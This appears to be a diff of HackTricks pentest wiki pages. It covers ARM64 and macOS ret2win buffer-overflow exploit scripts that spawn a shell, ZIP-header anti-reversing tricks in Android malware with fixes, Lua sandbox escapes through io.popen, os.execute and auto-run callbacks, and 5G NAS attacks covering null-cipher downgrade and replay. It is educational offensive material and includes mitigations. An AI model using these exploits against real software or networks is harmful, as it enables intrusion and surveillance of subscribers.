### Exploit
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
import re
|
||||
|
||||
# Load the binary
|
||||
binary_name = './bof_macos'
|
||||
|
||||
# Start the process
|
||||
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})
|
||||
|
||||
# Read the address printed by the program
|
||||
output = p.recvline().decode()
|
||||
print(f"Received: {output.strip()}")
|
||||
|
||||
# Extract the win() address using regex
|
||||
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
|
||||
if not match:
|
||||
print("Failed to extract win() address")
|
||||
p.close()
|
||||
exit(1)
|
||||
|
||||
win_address = int(match.group(1), 16)
|
||||
print(f"Extracted win() address: {hex(win_address)}")
|
||||
|
||||
# Offset calculation:
|
||||
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
|
||||
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
|
||||
offset = 64 + 8 # 72 bytes total to reach the return address
|
||||
|
||||
# Craft the payload - ARM64 addresses are 8 bytes
|
||||
payload = b'A' * offset + p64(win_address)
|
||||
print(f"Payload length: {len(payload)}")
|
||||
|
||||
# Send the payload
|
||||
p.send(payload)
|
||||
|
||||
# Drop to an interactive session
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
## macOS - 2nd example
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
__attribute__((noinline))
|
||||
void leak_anchor(void) {
|
||||
puts("leak_anchor reached");
|
||||
}
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
puts("Killed it!");
|
||||
system("/bin/sh");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
__attribute__((noinline))
|
||||
void vuln(void) {
|
||||
char buf[64];
|
||||
FILE *f = fopen("/tmp/exploit.txt", "rb");
|
||||
if (!f) {
|
||||
puts("[*] Please create /tmp/exploit.txt with your payload");
|
||||
return;
|
||||
}
|
||||
// Vulnerability: no bounds check → stack overflow
|
||||
fread(buf, 1, 512, f);
|
||||
fclose(f);
|
||||
printf("[*] Copied payload from /tmp/exploit.txt\n");
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
// Unbuffered stdout so leaks are immediate
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
|
||||
// Leak a different function, not main/win
|
||||
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);
|
||||
|
||||
// Sleep 3s
|
||||
sleep(3);
|
||||
|
||||
vuln();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile without canary (in macOS you can't disable PIE):
|
||||
|
||||
```bash
|
||||
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
|
||||
```
|
||||
|
||||
### Find the offset
|
||||
|
||||
- Generate a pattern into the file `/tmp/exploit.txt`:
|
||||
|
||||
```bash
|
||||
python3 - << 'PY'
|
||||
from pwn import *
|
||||
with open("/tmp/exploit.txt", "wb") as f:
|
||||
f.write(cyclic(200))
|
||||
PY
|
||||
```
|
||||
|
||||
- Run the program to cause a crash:
|
||||
|
||||
```bash
|
||||
lldb ./bof_macos
|
||||
(lldb) run
|
||||
```
|
||||
|
||||
- Check register `x30` (the return address) to find the offset:
|
||||
|
||||
```bash
|
||||
(lldb) register read x30
|
||||
```
|
||||
|
||||
- Use `cyclic -l <value>` to find the exact offset:
|
||||
|
||||
```bash
|
||||
python3 - << 'PY'
|
||||
from pwn import *
|
||||
print(cyclic_find(0x61616173))
|
||||
PY
|
||||
# Replace 0x61616173 with the 4 first bytes from the value of x30
|
||||
```
|
||||
|
||||
- Thats how I found the offset `72`, putting in that offset the address of `win()` function you can execute that function and get a shell (running without ASLR).
|
||||
|
||||
### Calculate the address of win()
|
||||
|
||||
- The binary is PIE, using the leak of `leak_anchor()` function and knowing the offset of `win()` function from `leak_anchor()` function we can calculate the address of `win()` function.
|
||||
|
||||
```bash
|
||||
objdump -d bof_macos | grep -E 'leak_anchor|win'
|
||||
|
||||
0000000100000460 <_leak_anchor>:
|
||||
000000010000047c <_win>:
|
||||
```
|
||||
|
||||
- The offset is `0x47c - 0x460 = 0x1c`
|
||||
|
||||
### Exploit
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
import re
|
||||
import os
|
||||
|
||||
# Load the binary
|
||||
binary_name = './bof_macos'
|
||||
# Start the process
|
||||
p = process(binary_name)
|
||||
|
||||
# Read the address printed by the program
|
||||
output = p.recvline().decode()
|
||||
print(f"Received: {output.strip()}")
|
||||
|
||||
# Extract the leak_anchor() address using regex
|
||||
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
|
||||
if not match:
|
||||
print("Failed to extract leak_anchor() address")
|
||||
p.close()
|
||||
exit(1)
|
||||
leak_anchor_address = int(match.group(1), 16)
|
||||
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")
|
||||
|
||||
# Calculate win() address
|
||||
win_address = leak_anchor_address + 0x1c
|
||||
print(f"Calculated win() address: {hex(win_address)}")
|
||||
|
||||
# Offset calculation:
|
||||
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
|
||||
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
|
||||
offset = 64 + 8 # 72 bytes total to reach the return address
|
||||
|
||||
# Craft the payload - ARM64 addresses are 8 bytes
|
||||
payload = b'A' * offset + p64(win_address)
|
||||
print(f"Payload length: {len(payload)}")
|
||||
|
||||
# Write the payload to /tmp/exploit.txt
|
||||
with open("/tmp/exploit.txt", "wb") as f:
|
||||
f.write(payload)
|
||||
|
||||
print("[*] Payload written to /tmp/exploit.txt")
|
||||
|
||||
# Drop to an interactive session
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
|
||||
## Notes on modern AArch64 hardening (PAC/BTI) and ret2win
|
||||
|
||||
- If the binary is compiled with AArch64 Branch Protection, you may see `paciasp`/`autiasp` or `bti c` emitted in function prologues/epilogues. In that case:
|
||||
- Returning to an address that is not a valid BTI landing pad may raise a `SIGILL`. Prefer targeting the exact function entry that contains `bti c`.
|
||||
@ -210,7 +489,7 @@ p.close()
|
||||
- `readelf --notes -W ./ret2win` and look for `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` notes.
|
||||
- `objdump -d ./ret2win | head -n 40` and look for `bti c`, `paciasp`, `autiasp`.
|
||||
|
||||
### Running on non‑ARM64 hosts (qemu‑user quick tip)
|
||||
## Running on non‑ARM64 hosts (qemu‑user quick tip)
|
||||
|
||||
If you are on x86_64 but want to practice AArch64:
|
||||
|
||||
@ -229,11 +508,12 @@ gdb-multiarch ./ret2win -ex 'target remote :1234'
|
||||
|
||||
### Related HackTricks pages
|
||||
|
||||
-
|
||||
|
||||
{{#ref}}
|
||||
../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
|
||||
{{#endref}}
|
||||
-
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
|
||||
{{#endref}}
|
||||
|
@ -4,12 +4,13 @@
|
||||
|
||||
Find an introduction to arm64 in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
## Code
|
||||
## Linux
|
||||
|
||||
### Code
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
@ -32,7 +33,7 @@ Compile without pie, canary and nx:
|
||||
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
|
||||
```
|
||||
|
||||
## No ASLR & No canary - Stack Overflow
|
||||
### No ASLR & No canary - Stack Overflow
|
||||
|
||||
To stop ASLR execute:
|
||||
|
||||
@ -79,6 +80,17 @@ The only "complicated" thing to find here would be the address in the stack to c
|
||||
|
||||
I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
|
||||
|
||||
|
||||
## macOS
|
||||
|
||||
> [!TIP]
|
||||
> It's not possible to disable NX in macOS because in arm64 this mode is implemented at hardware level so you can't disable it, so you won't be finding examples with shellcode in stack in macOS.
|
||||
|
||||
Check a macOS ret2win example in:
|
||||
|
||||
{{#ref}}
|
||||
../ret2win/ret2win-arm64.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -171,6 +171,18 @@ When the information is saved in logs you can **check statistics like how many t
|
||||
|
||||
---
|
||||
|
||||
### Android in-app native telemetry (no root)
|
||||
|
||||
On Android, you can instrument native code inside the target app process by preloading a tiny logger library before other JNI libs initialize. This gives early visibility into native behavior without system-wide hooks or root. A popular approach is SoTap: drop libsotap.so for the right ABI into the APK and inject a System.loadLibrary("sotap") call early (e.g., static initializer or Application.onCreate), then collect logs from internal/external paths or Logcat fallback.
|
||||
|
||||
See the Android native reversing page for setup details and log paths:
|
||||
|
||||
{{#ref}}
|
||||
../../mobile-pentesting/android-app-pentesting/reversing-native-libraries.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)
|
||||
|
||||
Modern malware families heavily abuse Control-Flow Graph (CFG) obfuscation: instead of a direct jump/call they compute the destination at run-time and execute a `jmp rax` or `call rax`. A small *dispatcher* (typically nine instructions) sets the final target depending on the CPU `ZF`/`CF` flags, completely breaking static CFG recovery.
|
||||
@ -262,5 +274,6 @@ idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
|
||||
## References
|
||||
|
||||
- [Unit42 – Evolving Tactics of SLOW#TEMPEST: A Deep Dive Into Advanced Malware Techniques](https://unit42.paloaltonetworks.com/slow-tempest-malware-obfuscation/)
|
||||
- SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -14,11 +14,168 @@ The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestud
|
||||
|
||||
It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data.
|
||||
|
||||
---
|
||||
|
||||
## Anti-reversing tricks in APKs using manipulated ZIP headers
|
||||
|
||||
Modern Android malware droppers use malformed ZIP metadata to break static tools (jadx/apktool/unzip) while keeping the APK installable on-device. The most common tricks are:
|
||||
|
||||
- Fake encryption by setting the ZIP General Purpose Bit Flag (GPBF) bit 0
|
||||
- Abusing large/custom Extra fields to confuse parsers
|
||||
- File/directory name collisions to hide real artifacts (e.g., a directory named `classes.dex/` next to the real `classes.dex`)
|
||||
|
||||
### 1) Fake encryption (GPBF bit 0 set) without real crypto
|
||||
|
||||
Symptoms:
|
||||
- `jadx-gui` fails with errors like:
|
||||
|
||||
```
|
||||
java.util.zip.ZipException: invalid CEN header (encrypted entry)
|
||||
```
|
||||
- `unzip` prompts for a password for core APK files even though a valid APK cannot have encrypted `classes*.dex`, `resources.arsc`, or `AndroidManifest.xml`:
|
||||
|
||||
```bash
|
||||
unzip sample.apk
|
||||
[sample.apk] classes3.dex password:
|
||||
skipping: classes3.dex incorrect password
|
||||
skipping: AndroidManifest.xml/res/vhpng-xhdpi/mxirm.png incorrect password
|
||||
skipping: resources.arsc/res/domeo/eqmvo.xml incorrect password
|
||||
skipping: classes2.dex incorrect password
|
||||
```
|
||||
|
||||
Detection with zipdetails:
|
||||
|
||||
```bash
|
||||
zipdetails -v sample.apk | less
|
||||
```
|
||||
|
||||
Look at the General Purpose Bit Flag for local and central headers. A telltale value is bit 0 set (Encryption) even for core entries:
|
||||
|
||||
```
|
||||
Extract Zip Spec 2D '4.5'
|
||||
General Purpose Flag 0A09
|
||||
[Bit 0] 1 'Encryption'
|
||||
[Bits 1-2] 1 'Maximum Compression'
|
||||
[Bit 3] 1 'Streamed'
|
||||
[Bit 11] 1 'Language Encoding'
|
||||
```
|
||||
|
||||
Heuristic: If an APK installs and runs on-device but core entries appear "encrypted" to tools, the GPBF was tampered with.
|
||||
|
||||
Fix by clearing GPBF bit 0 in both Local File Headers (LFH) and Central Directory (CD) entries. Minimal byte-patcher:
|
||||
|
||||
```python
|
||||
# gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers
|
||||
import struct, sys
|
||||
|
||||
SIG_LFH = b"\x50\x4b\x03\x04" # Local File Header
|
||||
SIG_CDH = b"\x50\x4b\x01\x02" # Central Directory Header
|
||||
|
||||
def patch_flags(buf: bytes, sig: bytes, flag_off: int):
|
||||
out = bytearray(buf)
|
||||
i = 0
|
||||
patched = 0
|
||||
while True:
|
||||
i = out.find(sig, i)
|
||||
if i == -1:
|
||||
break
|
||||
flags, = struct.unpack_from('<H', out, i + flag_off)
|
||||
if flags & 1: # encryption bit set
|
||||
struct.pack_into('<H', out, i + flag_off, flags & 0xFFFE)
|
||||
patched += 1
|
||||
i += 4 # move past signature to continue search
|
||||
return bytes(out), patched
|
||||
|
||||
if __name__ == '__main__':
|
||||
inp, outp = sys.argv[1], sys.argv[2]
|
||||
data = open(inp, 'rb').read()
|
||||
data, p_lfh = patch_flags(data, SIG_LFH, 6) # LFH flag at +6
|
||||
data, p_cdh = patch_flags(data, SIG_CDH, 8) # CDH flag at +8
|
||||
open(outp, 'wb').write(data)
|
||||
print(f'Patched: LFH={p_lfh}, CDH={p_cdh}')
|
||||
```
|
||||
|
||||
Usage:
|
||||
|
||||
```bash
|
||||
python3 gpbf_clear.py obfuscated.apk normalized.apk
|
||||
zipdetails -v normalized.apk | grep -A2 "General Purpose Flag"
|
||||
```
|
||||
|
||||
You should now see `General Purpose Flag 0000` on core entries and tools will parse the APK again.
|
||||
|
||||
### 2) Large/custom Extra fields to break parsers
|
||||
|
||||
Attackers stuff oversized Extra fields and odd IDs into headers to trip decompilers. In the wild you may see custom markers (e.g., strings like `JADXBLOCK`) embedded there.
|
||||
|
||||
Inspection:
|
||||
|
||||
```bash
|
||||
zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50
|
||||
```
|
||||
|
||||
Examples observed: unknown IDs like `0xCAFE` ("Java Executable") or `0x414A` ("JA:") carrying large payloads.
|
||||
|
||||
DFIR heuristics:
|
||||
- Alert when Extra fields are unusually large on core entries (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`).
|
||||
- Treat unknown Extra IDs on those entries as suspicious.
|
||||
|
||||
Practical mitigation: rebuilding the archive (e.g., re-zipping extracted files) strips malicious Extra fields. If tools refuse to extract due to fake encryption, first clear GPBF bit 0 as above, then repackage:
|
||||
|
||||
```bash
|
||||
mkdir /tmp/apk
|
||||
unzip -qq normalized.apk -d /tmp/apk
|
||||
(cd /tmp/apk && zip -qr ../clean.apk .)
|
||||
```
|
||||
|
||||
### 3) File/Directory name collisions (hiding real artifacts)
|
||||
|
||||
A ZIP can contain both a file `X` and a directory `X/`. Some extractors and decompilers get confused and may overlay or hide the real file with a directory entry. This has been observed with entries colliding with core APK names like `classes.dex`.
|
||||
|
||||
Triage and safe extraction:
|
||||
|
||||
```bash
|
||||
# List potential collisions (names that differ only by trailing slash)
|
||||
zipinfo -1 sample.apk | awk '{n=$0; sub(/\/$/,"",n); print n}' | sort | uniq -d
|
||||
|
||||
# Extract while preserving the real files by renaming on conflict
|
||||
unzip normalized.apk -d outdir
|
||||
# When prompted:
|
||||
# replace outdir/classes.dex? [y]es/[n]o/[A]ll/[N]one/[r]ename: r
|
||||
# new name: unk_classes.dex
|
||||
```
|
||||
|
||||
Programmatic detection post-fix:
|
||||
|
||||
```python
|
||||
from zipfile import ZipFile
|
||||
from collections import defaultdict
|
||||
|
||||
with ZipFile('normalized.apk') as z:
|
||||
names = z.namelist()
|
||||
|
||||
collisions = defaultdict(list)
|
||||
for n in names:
|
||||
base = n[:-1] if n.endswith('/') else n
|
||||
collisions[base].append(n)
|
||||
|
||||
for base, variants in collisions.items():
|
||||
if len(variants) > 1:
|
||||
print('COLLISION', base, '->', variants)
|
||||
```
|
||||
|
||||
Blue-team detection ideas:
|
||||
- Flag APKs whose local headers mark encryption (GPBF bit 0 = 1) yet install/run.
|
||||
- Flag large/unknown Extra fields on core entries (look for markers like `JADXBLOCK`).
|
||||
- Flag path-collisions (`X` and `X/`) specifically for `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`.
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
- [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
|
||||
- [GodFather – Part 1 – A multistage dropper (APK ZIP anti-reversing)](https://shindan.io/blog/godfather-part-1-a-multistage-dropper)
|
||||
- [zipdetails (Archive::Zip script)](https://metacpan.org/pod/distribution/Archive-Zip/scripts/zipdetails)
|
||||
- [ZIP File Format Specification (PKWARE APPNOTE.TXT)](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -0,0 +1,125 @@
|
||||
# Bypass Lua sandboxes (embedded VMs, game clients)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
This page collects practical techniques to enumerate and break out of Lua "sandboxes" embedded in applications (notably game clients, plugins, or in-app scripting engines). Many engines expose a restricted Lua environment, but leave powerful globals reachable that enable arbitrary command execution or even native memory corruption when bytecode loaders are exposed.
|
||||
|
||||
Key ideas:
|
||||
- Treat the VM as an unknown environment: enumerate _G and discover what dangerous primitives are reachable.
|
||||
- When stdout/print is blocked, abuse any in-VM UI/IPC channel as an output sink to observe results.
|
||||
- If io/os is exposed, you often have direct command execution (io.popen, os.execute).
|
||||
- If load/loadstring/loadfile are exposed, executing crafted Lua bytecode can subvert memory safety in some versions (≤5.1 verifiers are bypassable; 5.2 removed verifier), enabling advanced exploitation.
|
||||
|
||||
## Enumerate the sandboxed environment
|
||||
|
||||
- Dump the global environment to inventory reachable tables/functions:
|
||||
|
||||
```lua
|
||||
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
|
||||
local function dump_globals(out)
|
||||
out("=== DUMPING _G ===")
|
||||
for k, v in pairs(_G) do
|
||||
out(tostring(k) .. " = " .. tostring(v))
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
- If no print() is available, repurpose in-VM channels. Example from an MMO housing script VM where chat output only works after a sound call; the following builds a reliable output function:
|
||||
|
||||
```lua
|
||||
-- Build an output channel using in-game primitives
|
||||
local function ButlerOut(label)
|
||||
-- Some engines require enabling an audio channel before speaking
|
||||
H.PlaySound(0, "r[1]") -- quirk: required before H.Say()
|
||||
return function(msg)
|
||||
H.Say(label or 1, msg)
|
||||
end
|
||||
end
|
||||
|
||||
function OnMenu(menuNum)
|
||||
if menuNum ~= 3 then return end
|
||||
local out = ButlerOut(1)
|
||||
dump_globals(out)
|
||||
end
|
||||
```
|
||||
|
||||
Generalize this pattern for your target: any textbox, toast, logger, or UI callback that accepts strings can act as stdout for reconnaissance.
|
||||
|
||||
## Direct command execution if io/os is exposed
|
||||
|
||||
If the sandbox still exposes the standard libraries io or os, you likely have immediate command execution:
|
||||
|
||||
```lua
|
||||
-- Windows example
|
||||
io.popen("calc.exe")
|
||||
|
||||
-- Cross-platform variants depending on exposure
|
||||
os.execute("/usr/bin/id")
|
||||
io.popen("/bin/sh -c 'id'")
|
||||
```
|
||||
|
||||
Notes:
|
||||
- Execution happens inside the client process; many anti-cheat/antidebug layers that block external debuggers won’t prevent in-VM process creation.
|
||||
- Also check: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM).
|
||||
|
||||
## Zero-click triggers via auto-run callbacks
|
||||
|
||||
If the host application pushes scripts to clients and the VM exposes auto-run hooks (e.g., OnInit/OnLoad/OnEnter), place your payload there for drive-by compromise as soon as the script loads:
|
||||
|
||||
```lua
|
||||
function OnInit()
|
||||
io.popen("calc.exe") -- or any command
|
||||
end
|
||||
```
|
||||
|
||||
Any equivalent callback (OnLoad, OnEnter, etc.) generalizes this technique when scripts are transmitted and executed on the client automatically.
|
||||
|
||||
## Dangerous primitives to hunt during recon
|
||||
|
||||
During _G enumeration, specifically look for:
|
||||
- io, os: io.popen, os.execute, file I/O, env access.
|
||||
- load, loadstring, loadfile, dofile: execute source or bytecode; supports loading untrusted bytecode.
|
||||
- package, package.loadlib, require: dynamic library loading and module surface.
|
||||
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, and hooks.
|
||||
- LuaJIT-only: ffi.cdef, ffi.load to call native code directly.
|
||||
|
||||
Minimal usage examples (if reachable):
|
||||
|
||||
```lua
|
||||
-- Execute source/bytecode
|
||||
local f = load("return 1+1")
|
||||
print(f()) -- 2
|
||||
|
||||
-- loadstring is alias of load for strings in 5.1
|
||||
local bc = string.dump(function() return 0x1337 end)
|
||||
local g = loadstring(bc) -- in 5.1 may run precompiled bytecode
|
||||
print(g())
|
||||
|
||||
-- Load native library symbol (if allowed)
|
||||
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
|
||||
local foo = mylib()
|
||||
```
|
||||
|
||||
## Optional escalation: abusing Lua bytecode loaders
|
||||
|
||||
When load/loadstring/loadfile are reachable but io/os are restricted, execution of crafted Lua bytecode can lead to memory disclosure and corruption primitives. Key facts:
|
||||
- Lua ≤ 5.1 shipped a bytecode verifier that has known bypasses.
|
||||
- Lua 5.2 removed the verifier entirely (official stance: applications should just reject precompiled chunks), widening the attack surface if bytecode loading is not prohibited.
|
||||
- Workflows typically: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), then pivot to arbitrary read/write or native code execution.
|
||||
|
||||
This path is engine/version-specific and requires RE. See references for deep dives, exploitation primitives, and example gadgetry in games.
|
||||
|
||||
## Detection and hardening notes (for defenders)
|
||||
|
||||
- Server side: reject or rewrite user scripts; allowlist safe APIs; strip or bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
|
||||
- Client side: run Lua with a minimal _ENV, forbid bytecode loading, reintroduce a strict bytecode verifier or signature checks, and block process creation from the client process.
|
||||
- Telemetry: alert on gameclient → child process creation shortly after script load; correlate with UI/chat/script events.
|
||||
|
||||
## References
|
||||
|
||||
- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/)
|
||||
- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/)
|
||||
- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html)
|
||||
- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -128,7 +128,7 @@ If **no \[MAC]** is provided, the packet is sent to **broadcast ethernet** (and
|
||||
|
||||
```bash
|
||||
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
|
||||
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
|
||||
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0842
|
||||
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
|
||||
```
|
||||
|
||||
@ -427,9 +427,9 @@ VTP vulnerabilities are exploitable exclusively via trunk ports as VTP announcem
|
||||
|
||||
Note: This discussion pertains to VTP version 1 (VTPv1).
|
||||
|
||||
````bash
|
||||
%% yersinia -G # Launch Yersinia in graphical mode ```
|
||||
````
|
||||
```bash
|
||||
yersinia -G # Launch Yersinia in graphical mode
|
||||
```
|
||||
|
||||
In Yersinia's graphical mode, choose the deleting all VTP vlans option to purge the VLAN database.
|
||||
|
||||
|
@ -141,17 +141,127 @@ rm -f /tmp/sh ; history -c
|
||||
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
|
||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||
|
||||
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
|
||||
The 5G registration procedure runs over NAS (Non-Access Stratum) on top of NGAP. Until NAS security is activated by Security Mode Command/Complete, initial messages are unauthenticated and unencrypted. This pre-security window enables multiple attack paths when you can observe or tamper with N2 traffic (e.g., on-path inside the core, rogue gNB, or testbed).
|
||||
|
||||
Registration flow (simplified):
|
||||
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
|
||||
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
|
||||
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
|
||||
- PDU Session Establishment: IP/QoS setup.
|
||||
|
||||
Lab setup tips (non-RF):
|
||||
- Core: Open5GS default deployment is sufficient to reproduce flows.
|
||||
- UE: simulator or test UE; decode using Wireshark.
|
||||
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
|
||||
- Useful display filters in Wireshark:
|
||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||
|
||||
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
|
||||
Expected: UE/USIM must transmit SUCI (SUPI encrypted with the home-network public key). Finding a plaintext SUPI/IMSI in the Registration Request indicates a privacy defect enabling persistent subscriber tracking.
|
||||
|
||||
How to test:
|
||||
- Capture the first NAS message in InitialUEMessage and inspect the Mobile Identity IE.
|
||||
- Wireshark quick checks:
|
||||
- It should decode as SUCI, not IMSI.
|
||||
- Filter examples: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` should exist; absence plus presence of `imsi` indicates leakage.
|
||||
|
||||
What to collect:
|
||||
- MCC/MNC/MSIN if exposed; log per-UE and track across time/locations.
|
||||
|
||||
Mitigation:
|
||||
- Enforce SUCI-only UEs/USIMs; alert on any IMSI/SUPI in initial NAS.
|
||||
|
||||
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
||||
Background:
|
||||
- UE advertises supported EEA (encryption) and EIA (integrity) in the UE Security Capability IE of the Registration Request.
|
||||
- Common mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 are null algorithms.
|
||||
|
||||
Issue:
|
||||
- Because the Registration Request is not integrity protected, an on-path attacker can clear capability bits to coerce selection of EEA0/EIA0 later during Security Mode Command. Some stacks wrongly allow null algorithms outside emergency services.
|
||||
|
||||
Offensive steps:
|
||||
- Intercept InitialUEMessage and modify the NAS UE Security Capability to advertise only EEA0/EIA0.
|
||||
- With Sni5Gect, hook the NAS message and patch the capability bits before forwarding.
|
||||
- Observe whether AMF accepts null ciphers/integrity and completes Security Mode with EEA0/EIA0.
|
||||
|
||||
Verification/visibility:
|
||||
- In Wireshark, confirm selected algorithms after Security Mode Command/Complete.
|
||||
- Example passive sniffer output:
|
||||
```
|
||||
Encyrption in use [EEA0]
|
||||
Integrity in use [EIA0, EIA1, EIA2]
|
||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||
```
|
||||
|
||||
Mitigations (must):
|
||||
- Configure AMF/policy to reject EEA0/EIA0 except where strictly mandated (e.g., emergency calls).
|
||||
- Prefer enforcing EEA2/EIA2 at minimum; log and alarm on any NAS security context that negotiates null algorithms.
|
||||
|
||||
### 9.3 Replay of initial Registration Request (pre-security NAS)
|
||||
Because initial NAS lacks integrity and freshness, captured InitialUEMessage+Registration Request can be replayed to AMF.
|
||||
|
||||
PoC rule for 5GReplay to forward matching replays:
|
||||
|
||||
```xml
|
||||
<beginning>
|
||||
<property value="THEN"
|
||||
property_id="101"
|
||||
type_property="FORWARD"
|
||||
description="Forward InitialUEMessage with Registration Request">
|
||||
|
||||
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
|
||||
<event value="COMPUTE"
|
||||
event_id="1"
|
||||
description="Trigger: InitialUEMessage"
|
||||
boolean_expression="ngap.procedure_code == 15"/>
|
||||
|
||||
<!-- Context match on NAS Registration Request (message_type == 65) -->
|
||||
<event value="COMPUTE"
|
||||
event_id="2"
|
||||
description="Context: Registration Request"
|
||||
boolean_expression="nas_5g.message_type == 65"/>
|
||||
|
||||
</property>
|
||||
</beginning>
|
||||
```
|
||||
|
||||
What to observe:
|
||||
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
|
||||
|
||||
Mitigations:
|
||||
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
|
||||
|
||||
### 9.4 Tooling pointers (reproducible)
|
||||
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
|
||||
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
|
||||
